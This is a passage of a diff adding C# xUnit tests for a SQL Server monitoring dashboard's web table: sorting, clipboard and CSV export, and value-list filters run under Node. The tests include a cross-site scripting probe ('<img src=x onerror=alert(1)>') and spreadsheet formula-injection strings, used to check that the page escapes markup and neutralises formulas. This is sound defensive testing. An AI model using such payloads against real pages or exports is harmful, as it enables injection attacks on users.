+/// Column-header sort on the web dashboard's shared table renderer (#4843), from the shipped <c>panels.js</c> run
+/// under Node (<c>web-grid-sort-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class GridSortBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-grid-sort-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the grid sort harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the grid sort harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] S(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void AHeaderClick_CyclesAscending_Descending_ThenTheServersOrder_WithIndicatorAndAriaSort()
+    {
+        if (!TryRun("cycle", out var r)) return;
+        Assert.Equal(new[] { "10", "9", "—", "100", "2" }, S(r, "initial"));
+        Assert.Equal(new[] { "2", "9", "10", "100", "—" }, S(r, "asc"));
+        Assert.Equal("ascending", r.GetProperty("ascSort").GetString());
+        Assert.Equal(" ▲", r.GetProperty("ascInd").GetString());
+        Assert.Equal(new[] { "100", "10", "9", "2", "—" }, S(r, "desc"));
+        Assert.Equal("descending", r.GetProperty("descSort").GetString());
+        Assert.Equal(" ▼", r.GetProperty("descInd").GetString());
+        Assert.Equal(S(r, "initial"), S(r, "back"));
+        Assert.Equal("none", r.GetProperty("backSort").GetString());
+        Assert.Equal("0", r.GetProperty("tabindex").GetString());
+    }
+
+    [Fact]
+    public void Text_SortsWithoutCase_TiesKeepTheServersOrder_AndEmptyIsLastBothWays()
+    {
+        if (!TryRun("text", out var r)) return;
+        // Rows 2 ("Alpha") and 4 ("alpha") tie; rows 3 (null) and 5 ("") are empty.
+        Assert.Equal(new[] { "2", "4", "1", "3", "5" }, S(r, "asc"));
+        Assert.Equal(new[] { "1", "2", "4", "3", "5" }, S(r, "desc"));
+    }
+
+    [Fact]
+    public void Time_SortsByTheStoredInstant_NotTheDisplayedText_AndEmptyIsLastBothWays()
+    {
+        if (!TryRun("time", out var r)) return;
+        Assert.Equal(new[] { "5", "1", "4", "2", "3" }, S(r, "asc"));
+        Assert.Equal(new[] { "2", "4", "1", "5", "3" }, S(r, "desc"));
+    }
+
+    [Fact]
+    public void EnterAndSpace_ActivateAHeader_OtherKeysDoNot()
+    {
+        if (!TryRun("keyboard", out var r)) return;
+        Assert.Equal(new[] { "2", "9", "10", "100", "—" }, S(r, "enter"));
+        Assert.Equal(new[] { "100", "10", "9", "2", "—" }, S(r, "space"));
+        Assert.Equal(S(r, "space"), S(r, "other"));
+    }
+
+    [Fact]
+    public void ARebuildUnderTheSameKey_ReappliesTheSort_ButADifferentTableOrRouteStartsInTheServersOrder()
+    {
+        if (!TryRun("rebuild", out var r)) return;
+        var desc = new[] { "100", "10", "9", "2", "—" };
+        var server = new[] { "10", "9", "—", "100", "2" };
+        Assert.Equal(desc, S(r, "sameKey"));
+        Assert.Equal("descending", r.GetProperty("sameKeySort").GetString());
+        Assert.Equal(server, S(r, "otherKey"));
+        Assert.Equal(server, S(r, "otherRoute"));
+        Assert.Equal(desc, S(r, "sameRouteWithQuery"));
+    }
+
+    [Fact]
+    public void AReconciledGrid_ReappliesTheSortToTheNewRow_AndAClearedSortGoesBackToTheServersOrder()
+    {
+        if (!TryRun("reapply", out var r)) return;
+        // Sorted ascending by N, every tr still maps to the row it was built from.
+        Assert.Equal(new[] { "", "Alpha", "beta", "alpha", null }, r.GetProperty("rowsOf").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(new[] { "50", "2", "9", "10", "100", "—" }, S(r, "serverOrder"));
+        Assert.Equal(new[] { "2", "9", "10", "50", "100", "—" }, S(r, "sorted"));
+        Assert.Equal("gamma", r.GetProperty("freshRow").GetString());
+        // After desc then clear, the grid is back to the server order, and a reapply keeps it.
+        Assert.Equal(new[] { "50", "2", "9", "10", "100", "—" }, S(r, "cleared"));
+        Assert.Equal(S(r, "cleared"), S(r, "clearedAfterReapply"));
+    }
+
+    [Fact]
+    public void ASortValueDecidesTheOrder_ListColumnsGetNoSort_AndAColumnFilledLaterBecomesSortable()
+    {
+        if (!TryRun("columns", out var r)) return;
+        Assert.Contains("sortable", S(r, "cls")[0]);
+        Assert.DoesNotContain("sortable", S(r, "cls")[1]);
+        Assert.Equal(new[] { "99.000", "1,234.500", "2,000.000" }, S(r, "sizeAsc"));
+        // Max size descending: the unlimited row (raw -1) is the largest, so it comes first.
+        Assert.Equal("99.000", S(r, "maxDesc")[0]);
+        Assert.DoesNotContain("sortable", r.GetProperty("laterBefore").GetString());
+        Assert.Contains("sortable", r.GetProperty("laterAfter").GetString());
+        Assert.Equal(new[] { "alpha", "zeta" }, S(r, "laterSorted"));
+    }
+
+    [Fact]
+    public void ANumericColumnOverPreformattedText_MustCarryASortValueOnTheRawNumber()
+    {
+        var js = PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js");
+        var offenders = new System.Collections.Generic.List<string>();
+        foreach (var file in System.IO.Directory.EnumerateFiles(js, "*.js", System.IO.SearchOption.AllDirectories))
+        {
+            foreach (var line in System.IO.File.ReadAllLines(file))
+            {
+                if (!System.Text.RegularExpressions.Regex.IsMatch(line, "key: *\"[a-z_0-9.]*_text\"")) continue;
+                var numeric = line.Contains("align: \"right\"") || System.Text.RegularExpressions.Regex.IsMatch(line, "format: *\"(int|num1|num2|rate|ms|mb|pct)\"");
+                if (numeric && !line.Contains("sortValue:")) offenders.Add(System.IO.Path.GetFileName(file) + ": " + line.Trim());
+            }
+        }
+        Assert.Empty(offenders);
+    }
+
+    [Fact]
+    public void AnOptedOutColumnOrTable_GetsNoSortAffordance()
+    {
+        if (!TryRun("optOut", out var r)) return;
+        Assert.DoesNotContain("sortable", r.GetProperty("fixedCls").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("fixedTab").ValueKind);
+        Assert.All(S(r, "offCls"), c => Assert.DoesNotContain("sortable", c));
+    }
+
+    [Fact]
+    public void TheSharedRendererCarriesTheSort_AndTheOptOutIsHonouredAndSet()
+    {
+        var panels = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js");
+        Assert.Contains("desc.sortable === false", panels);
+        Assert.Contains("gridSortState", panels);
+        Assert.Contains("aria-sort", panels);
+        Assert.Contains("export function reapplyGridSort", panels);
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "utilization.js");
+        Assert.Contains("columns: TREND_COLUMNS, sortable: false", util);
+        var alerts = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "alerts.js");
+        Assert.Contains("reapplyGridSort(state.tbody)", alerts);
+    }
+}
diff --git a/Darling/Darling.Tests/GridToolsBehaviourTests.cs b/Darling/Darling.Tests/GridToolsBehaviourTests.cs
new file mode 100644
index 0000000000..79e0e9f3ca
--- /dev/null
+++ b/Darling/Darling.Tests/GridToolsBehaviourTests.cs
@@ -0,0 +1,170 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Copy and CSV export on the web dashboard's shared table renderer (#4843), from the shipped <c>panels.js</c> and
+/// <c>grid-tools.js</c> run under Node (<c>web-grid-tools-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class GridToolsBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-grid-tools-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the grid tools harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the grid tools harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    [Fact]
+    public void Csv_UsesRawValues_QuotesPerRfc4180_NeutralisesFormulas_AndLeavesOutListColumns()
+    {
+        var r = Run("csv");
+        var csv = Str(r, "csv");
+        // Header is the column labels; the Tags column holds arrays, so it is left out.
+        Assert.StartsWith("Name,N,When\r\n", csv);
+        // Commas, quotes and a newline in one cell: quoted, quotes doubled, newline kept inside the quotes.
+        Assert.Contains("\"b, \"\"quoted\"\"\nline\",1234567,2026-01-02T03:04:05Z\r\n", csv);
+        // Raw number (no thousands separator), stored ISO instant (not the local display), empty for null, unicode intact.
+        Assert.Contains("naïve — 日本,-3,\r\n", csv);
+        // A leading = or - on text gets a leading apostrophe; a negative number is data and is left alone.
+        Assert.Contains("'=SUM(A1),5,2026-01-01T00:00:00Z", csv);
+        Assert.Contains("'-cmd,40,", csv);
+        Assert.StartsWith("slow-queries-", Str(r, "fileName"));
+        Assert.EndsWith(".csv", Str(r, "fileName"));
+        Assert.Equal("Exported 4 rows.", Str(r, "status"));
+    }
+
+    [Fact]
+    public void Csv_FollowsTheActiveSort()
+    {
+        var r = Run("csvSorted");
+        string[] Names(string key) => Str(r, key).Split("\r\n").Skip(1).Select(l => l.Split(',')[0]).ToArray();
+        Assert.Equal(new[] { "naïve — 日本", "'=SUM(A1)", "'-cmd", "\"b" }, Names("csv"));
+        Assert.Equal(new[] { "\"b", "'-cmd", "'=SUM(A1)", "naïve — 日本" }, Names("csvDesc"));
+    }
+
+    [Fact]
+    public void Copy_PutsTheFormattedTextOnTheClipboard_TabSeparated_AndFollowsTheSort()
+    {
+        var r = Run("copy");
+        Assert.Equal("Click a cell first, then choose Copy cell.", Str(r, "beforePick"));
+        var texts = r.GetProperty("texts").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Equal(3, texts.Length);
+        Assert.Equal("5", texts[0]);
+        Assert.StartsWith("=SUM(A1)\t5\t", texts[1]);
+        var all = texts[2].Split('\n');
+        Assert.Equal("Name\tN\tWhen\tTags", all[0]);
+        // Sorted ascending by N, with the thousands separator the grid shows (the CSV carries 1234567).
+        Assert.StartsWith("naïve — 日本\t-3\t", all[1]);
+        Assert.Contains("\t1,234,567\t", all[4]);
+        // A newline inside a cell must not split the row.
+        Assert.StartsWith("b, \"quoted\" line\t", all[4]);
+        Assert.Equal(5, all.Length);
+        Assert.Equal("Copied the table.", Str(r, "status"));
+    }
+
+    [Fact]
+    public void WithoutAClipboard_EveryCopySaysSo_AndARefusedWriteSaysWhy()
+    {
+        var r = Run("noClipboard");
+        Assert.Contains("isn't available", Str(r, "all"));
+        Assert.Equal(Str(r, "all"), Str(r, "cell"));
+        Assert.Equal("Copy failed: denied", Str(r, "denied"));
+    }
+
+    [Fact]
+    public void TheRowHook_IsCalledOncePerRow_AndRowClassStylesTheRow_AndToolsCanBeLeftOut()
+    {
+        var r = Run("hook");
+        Assert.Equal(new long[] { 1234567, 5, -3, 40 }, r.GetProperty("seen").EnumerateArray().Select(e => e.GetInt64()).ToArray());
+        Assert.Equal(new[] { "1234567", "5", "-3", "40" }, r.GetProperty("attrs").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { "hot", "", "", "" }, r.GetProperty("classes").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.All(r.GetProperty("stringClass").EnumerateArray(), e => Assert.Equal("flag", e.GetString()));
+        Assert.Equal("div", Str(r, "noTools"));
+    }
+
+    [Fact]
+    public void TheHelpers_QuoteNeutraliseAndNameFiles()
+    {
+        var r = Run("helpers");
+        Assert.Equal(new[] { "\"a,b\"", "\"q\"\"q\"", "'=1+1", "'+x", "'@y", "-5", "-5", "+3.5e-2", "'-5x", "", "plain" },
+            r.GetProperty("field").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal("wait-stats-top-10-20260105-143007.csv", Str(r, "name"));
+        Assert.Equal("table-20260105-143007.csv", Str(r, "nameEmpty"));
+    }
+
+    [Fact]
+    public void ColumnOptions_CsvFalseLeavesAColumnOut_AndCopyValueSuppliesTheFullText()
+    {
+        var r = Run("columnOptions");
+        // The link-only column is out of the CSV; the Detail column exports the full value, newline quoted, formula guarded.
+        Assert.Equal("Id,Detail\r\na,\"line one\nline two\"\r\nb,'=cmd", Str(r, "csv"));
+        var texts = r.GetProperty("texts").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        // Copy cell and Copy row use the full value too (a newline collapses to a space inside a tab-separated row).
+        Assert.Equal("line one\nline two", texts[0]);
+        Assert.Equal("a\tline one line two\tOpen x", texts[1]);
+    }
+
+    [Fact]
+    public void ThePickedCell_SurvivesARebuild_AndSaysSoWhenItsRowIsGone()
+    {
+        var r = Run("pickSurvivesRebuild");
+        Assert.Contains("cell-picked", Str(r, "marked"));
+        var texts = r.GetProperty("texts").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Equal(new[] { "5" }, texts);
+        Assert.Equal("Click a cell first, then choose Copy cell.", Str(r, "goneStatus"));
+    }
+
+    [Fact]
+    public void AlertHistory_KeepsTheStripOnTheGrid_NotOnItsPerRowBuilder_AndFlagsLinkColumnsOutOfTheCsv()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "alerts.js").ReplaceLineEndings("\n");
+        Assert.Contains("{ rowsKey: \"alerts\", columns: alertColumns(), tools: false }", js);
+        Assert.Contains("{ rowsKey: \"alerts\", columns: alertColumns() });", js);
+        Assert.Contains("label: \"Triage\", csv: false", js);
+        Assert.Contains("label: \"Mute\", csv: false", js);
+        Assert.Contains("copyValue: (a) => detailFullText(a)", js);
+    }
+}
diff --git a/Darling/Darling.Tests/GridValueFilterBehaviourTests.cs b/Darling/Darling.Tests/GridValueFilterBehaviourTests.cs
new file mode 100644
index 0000000000..eb50777fd7
--- /dev/null
+++ b/Darling/Darling.Tests/GridValueFilterBehaviourTests.cs
@@ -0,0 +1,383 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The value-list column filter on the web dashboard's shared table renderer (#5565), from the shipped <c>panels.js</c> and
+/// <c>grid-value-filter.js</c> run under Node (<c>web-grid-value-filter-harness.mjs</c>). The shared cases in
+/// <c>Fixtures/column-value-filter-cases.json</c> are driven through the real boxes (tick, untick, Select All, the search
+/// box, the text match), and the same cases run on the desktop. Node is skipped when it is not installed.
+/// </summary>
+public sealed class GridValueFilterBehaviourTests
+{
+    private static readonly string FixturePath = PathTo("Darling", "Darling.Tests", "Fixtures", "column-value-filter-cases.json");
+
+    private static JsonElement Run(string scenario, params string[] extra)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-grid-value-filter-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        foreach (var x in extra)
+        {
+            psi.ArgumentList.Add(x);
+        }
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            // CI (GITHUB_ACTIONS is set there) must have Node: a missing Node fails there instead of quietly skipping the page tests.
+            Assert.False(System.Environment.GetEnvironmentVariable("GITHUB_ACTIONS") == "true", "Node is not installed on this CI runner, so the value filter page tests cannot run.");
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the value filter harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the value filter harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string?[] Strs(JsonElement r) => r.EnumerateArray().Select(e => e.ValueKind == JsonValueKind.Null ? null : e.GetString()).ToArray();
+
+    private static int[] Ints(JsonElement r) => r.EnumerateArray().Select(e => e.GetInt32()).ToArray();
+
+    public static IEnumerable<object[]> FixtureCases()
+    {
+        using var doc = JsonDocument.Parse(File.ReadAllText(FixturePath));
+        foreach (var c in doc.RootElement.GetProperty("cases").EnumerateArray())
+        {
+            yield return [c.GetProperty("id").GetInt32()];
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(FixtureCases))]
+    public void TheSharedCases_GiveTheSameListStateAndRows_AsTheDesktop(int id)
+    {
+        using var fixture = JsonDocument.Parse(File.ReadAllText(FixturePath));
+        var kase = fixture.RootElement.GetProperty("cases").EnumerateArray().First(c => c.GetProperty("id").GetInt32() == id);
+        var actual = Run("fixtureCase", FixturePath, id.ToString()).GetProperty("steps").EnumerateArray().ToArray();
+        var steps = kase.GetProperty("steps").EnumerateArray().ToArray();
+        Assert.Equal(steps.Length, actual.Length);
+        for (var i = 0; i < steps.Length; i++)
+        {
+            var at = "case " + id + " step " + i + " (" + steps[i].GetProperty("action").GetString() + "): ";
+            if (!steps[i].TryGetProperty("expect", out var expect))
+            {
+                continue;
+            }
+
+            var got = actual[i];
+            foreach (var p in expect.EnumerateObject())
+            {
+                switch (p.Name)
+                {
+                    case "listBlank":
+                        Assert.True(p.Value.GetBoolean() == got.GetProperty("listBlank").GetBoolean(), at + "listBlank");
+                        break;
+                    case "listValues":
+                        Assert.Equal(Strs(p.Value), Strs(got.GetProperty("listValues")));
+                        break;
+                    case "listCount":
+                        Assert.Equal(p.Value.GetInt32(), got.GetProperty("listCount").GetInt32());
+                        break;
+                    case "shownCount":
+                        Assert.Equal(p.Value.GetInt32(), got.GetProperty("shownCount").GetInt32());
+                        break;
+                    case "note":
+                        Assert.Equal(p.Value.ValueKind == JsonValueKind.Null ? null : p.Value.GetString(), got.GetProperty("note").ValueKind == JsonValueKind.Null ? null : got.GetProperty("note").GetString());
+                        break;
+                    case "shown":
+                        Assert.Equal(Strs(p.Value), Strs(got.GetProperty("shown")));
+                        break;
+                    case "state":
+                        Assert.Equal(p.Value.GetProperty("mode").GetString(), got.GetProperty("state").GetProperty("mode").GetString());
+                        Assert.Equal(p.Value.GetProperty("blank").GetBoolean(), got.GetProperty("state").GetProperty("blank").GetBoolean());
+                        Assert.Equal(
+                            Strs(p.Value.GetProperty("values")).Select(v => v!.ToUpperInvariant()).Order().ToArray(),
+                            Strs(got.GetProperty("state").GetProperty("values")).Select(v => v!.ToUpperInvariant()).Order().ToArray());
+                        break;
+                    default:
+                        Assert.Fail(at + "the fixture has an expectation this test does not know: " + p.Name);
+                        break;
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public void SelectAll_UnderASearch_ChangesOnlyTheValuesTheSearchMatches()
+    {
+        var r = Run("selectAllUnderSearch");
+        Assert.Equal(new[] { "app", "app2" }, Strs(r.GetProperty("listed")));
+        Assert.Equal("Hide", r.GetProperty("state").GetProperty("mode").GetString());
+        Assert.Equal(new[] { "app", "app2" }, Strs(r.GetProperty("state").GetProperty("values")));
+        Assert.Equal(new[] { 0, 4, 5 }, Ints(r.GetProperty("shown")));
+        Assert.False(r.GetProperty("allChecked").GetBoolean());
+        Assert.True(r.GetProperty("allIndeterminateFull").GetBoolean());
+        Assert.True(r.GetProperty("blankTicked").GetBoolean());
+        Assert.Equal(new[] { "No value matches the search." }, Strs(r.GetProperty("noMatch")));
+    }
+
+    [Fact]
+    public void AValueIsBuiltFromText_NeverFromMarkup()
+    {
+        var r = Run("textOnly");
+        Assert.Equal(new[] { "<b>x</b>", "<img src=x onerror=alert(1)>", "plain" }, Strs(r.GetProperty("items")));
+        Assert.Equal(0, r.GetProperty("elements").GetInt32());
+        Assert.Equal(Strs(r.GetProperty("items")), Strs(r.GetProperty("labels")));
+        Assert.Equal(new[] { "Login: hides 1 value×" }, Strs(r.GetProperty("chip")));
+        Assert.Equal(new[] { 1, 2 }, Ints(r.GetProperty("shown")));
+    }
+
+    [Fact]
+    public void TheList_IsOfferedOnShortTextColumnsOnly()
+    {
+        // Login (text), Ix (number), Seen (time), Query (valueList: false), Long (a 257-character value), Edge (256 characters).
+        Assert.Equal(new[] { true, false, false, false, false, true }, Run("offered").GetProperty("offered").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+    }
+
+    [Fact]
+    public void TheNoListNameRule_GivesTheDesktopsAnswer_ForEveryPairInTheSharedFixture()
+    {
+        var r = Run("namePairs", FixturePath);
+        Assert.NotEmpty(r.GetProperty("excluded").EnumerateArray());
+        Assert.NotEmpty(r.GetProperty("listed").EnumerateArray());
+        Assert.All(r.GetProperty("excluded").EnumerateArray(), p => Assert.True(p[1].GetBoolean(), p[0].GetString() + " must get no list"));
+        Assert.All(r.GetProperty("listed").EnumerateArray(), p => Assert.False(p[1].GetBoolean(), p[0].GetString() + " must get a list"));
+    }
+
+    [Fact]
+    public void AColumnNamedLikeProse_OrAStatement_GetsNoList_EvenWithShortCells()
+    {
+        var r = Run("offeredByName");
+        var names = Strs(r.GetProperty("names"));
+        var offered = r.GetProperty("offered").EnumerateArray().Select(e => e.GetBoolean()).ToArray();
+        // The Alerts "Detail" column (detail_text), job step and severe-error messages, recommendation details, descriptions,
+        // scripts, errors, info and reason cells get no list, by name alone (the stored-caveat "reason" carries no marker);
+        // an ordinary name column does.
+        for (var i = 0; i < names.Length; i++)
+        {
+            Assert.True(offered[i] == (names[i] == "login_name" || names[i] == "status"), names[i] + " offered=" + offered[i]);
+        }
+    }
+
+    [Fact]
+    public void TheList_HoldsTheRawValue_NotTheTextTheCellDraws_AndABlankIsABlankRawValue()
+    {
+        var r = Run("rawValues");
+        Assert.Equal(new[] { "(Blanks)", "App", "job", "sa" }, Strs(r.GetProperty("items")));
+        Assert.True(r.GetProperty("hasBlank").GetBoolean());
+        Assert.Equal(new[] { "<<App>>", "<<app>>", "<<none>>", "<<  >>", "<<job>>" }, Strs(r.GetProperty("shown")));
+        Assert.Equal(new[] { "<<App>>", "<<app>>", "<<job>>" }, Strs(r.GetProperty("shownNoBlank")));
+    }
+
+    [Fact]
+    public void AColumnBuiltFromOtherFields_ListsTheTextItShows_AsTheAlertsStatusColumnDoes()
+    {
+        // #5565: alert rows have no "status" field, so the Status, Triage and Mute cells have no raw value. The list holds
+        // the shown labels (not just "(Blanks)"), unticking one hides only those rows, a stored "Muted" filter matches the
+        // Muted rows, and a column marked valueList: false still gets no list.
+        var r = Run("derivedColumn");
+        Assert.Equal(new[] { "Delivered", "Delivery error", "Muted" }, Strs(r.GetProperty("statusItems")));
+        Assert.False(r.GetProperty("statusHasBlank").GetBoolean());
+        Assert.Equal(new[] { 1, 2 }, Ints(r.GetProperty("afterUntick")));
+        Assert.Equal(new[] { 1, 2 }, Ints(r.GetProperty("afterReload")));
+        Assert.Equal(new[] { "Muted" }, Strs(r.GetProperty("storedSet")));
+        Assert.Equal(new[] { "Open" }, Strs(r.GetProperty("items1")));
+        Assert.Equal(new[] { "Mute this alert" }, Strs(r.GetProperty("items2")));
+        Assert.False(r.GetProperty("blank1").GetBoolean());
+        Assert.False(r.GetProperty("blank2").GetBoolean());
+        Assert.False(r.GetProperty("noListOffered").GetBoolean());
+    }
+
+    [Fact]
+    public void TheValueSearch_FoldsCaseLikeDotNetOrdinalIgnoreCase()
+    {
+        var r = Run("searchFold");
+        Assert.Equal(new[] { "stra\u00DFe" }, Strs(r.GetProperty("sharpS")));
+        Assert.Equal(new[] { "STRASSE" }, Strs(r.GetProperty("ss")));
+        Assert.Equal(new[] { "App" }, Strs(r.GetProperty("app")));
+        Assert.Equal(new[] { "App" }, Strs(r.GetProperty("appLower")));
+    }
+
+    [Fact]
+    public void TheKeptCopy_IsWrittenOnceAfterABurst_AndAtOnceOnPagehide()
+    {
+        var r = Run("debounced");
+        Assert.Equal(0, r.GetProperty("writesAtOnce").GetInt32());
+        Assert.False(r.GetProperty("keyAtOnce").GetBoolean());
+        Assert.Equal(0, r.GetProperty("writesAt150").GetInt32());
+        Assert.Equal(1, r.GetProperty("writesAfterQuiet").GetInt32());
+        var column = r.GetProperty("setAfterQuiet").EnumerateObject().Single().Value.GetProperty("values");
+        Assert.Equal("showOnly", column.GetProperty("mode").GetString());
+        Assert.Equal(new[] { "job_svc" }, Strs(column.GetProperty("set")));
+        Assert.Equal(1, r.GetProperty("writesBeforePagehide").GetInt32());
+        Assert.Equal(2, r.GetProperty("writesAfterPagehide").GetInt32());
+        Assert.Empty(r.GetProperty("setAfterPagehide").GetProperty("set").EnumerateArray());
+    }
+
+    [Fact]
+    public void ATextMatch_OnAColumnWithNoList_LastsTheSessionOnly_AndOneOnAListColumnIsKept()
+    {
+        var r = Run("sessionText");
+        // all three matches filter the page now
+        Assert.Equal(new[] { "sa" }, Strs(r.GetProperty("inPage")));
+        // only the list column's match was written
+        var written = JsonDocument.Parse(r.GetProperty("storedText").GetString()!).RootElement.GetProperty("grids")[0][1];
+        var only = written.EnumerateObject().Single();
+        Assert.StartsWith("u\u0001", only.Name);
+        Assert.Equal("a", only.Value.GetProperty("text").GetString());
+        // and after a restart only that one comes back
+        Assert.Equal(new[] { "sa", "app" }, Strs(r.GetProperty("afterRestart")));
+        Assert.Equal(new[] { "Login: a\u00D7" }, Strs(r.GetProperty("chipsAfterRestart")));
+    }
+
+    [Fact]
+    public void AValuePartKeptOnAColumnThatHasNoList_ShowsReadOnlyWithAClearButton_AndItsTextMatchIsDropped()
+    {
+        var r = Run("keptValuePart");
+        Assert.Equal(new[] { 0 }, Ints(r.GetProperty("before")));
+        Assert.Equal(new[] { 0, 2 }, Ints(r.GetProperty("afterShown")));
+        Assert.False(r.GetProperty("hasList").GetBoolean());
+        Assert.Equal(new[] { "A kept value filter hides 1 value. This column has no value list." }, Strs(r.GetProperty("keptNote")));
+        Assert.Equal("", r.GetProperty("textBox").GetString());
+        Assert.True(r.GetProperty("hasClear").GetBoolean());
+        Assert.Equal(new[] { 0, 1, 2 }, Ints(r.GetProperty("afterClear")));
+        Assert.True(r.GetProperty("keptGone").GetBoolean());
+        Assert.Equal("null", r.GetProperty("storedAfterClear").GetString());
+    }
+
+    [Fact]
+    public void OnABareFinOpsAddress_EachServerGetsItsOwnFilters()
+    {
+        var r = Run("finopsKey");
+        Assert.Equal("#/finops/srv-a/utilization", r.GetProperty("hashA").GetString());
+        Assert.Equal(new[] { 0, 2 }, Ints(r.GetProperty("shownA")));
+        Assert.Equal("#/finops/srv-b/utilization", r.GetProperty("hashB").GetString());
+        Assert.Equal(new[] { 0, 1, 2 }, Ints(r.GetProperty("shownB")));
+        Assert.Equal(new[] { 0, 2 }, Ints(r.GetProperty("shownBackOnA")));
+        Assert.Equal(0, r.GetProperty("callsOnSameHash").GetInt32());
+    }
+
+    [Fact]
+    public void TheFinOpsPaint_PinsTheServerBeforeItBuildsTheTab()
+    {
+        // The behaviour above runs pinFinopsHash itself; this pins that paint() calls it ahead of the tab's build, which
+        // is what makes the tab's tables carry the server in their filter key (the page cannot be run without a server).
+        var src = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops.js");
+        var pin = src.IndexOf("pinFinopsHash(chosen, active.id);", System.StringComparison.Ordinal);
+        var build = src.IndexOf("active.build(chosen,", System.StringComparison.Ordinal);
+        Assert.True(pin > 0 && build > pin, "paint() must call pinFinopsHash before active.build");
+    }
+
+    [Fact]
+    public void TheList_CarriesAriaLabels_AndEscapeClosesIt()
+    {
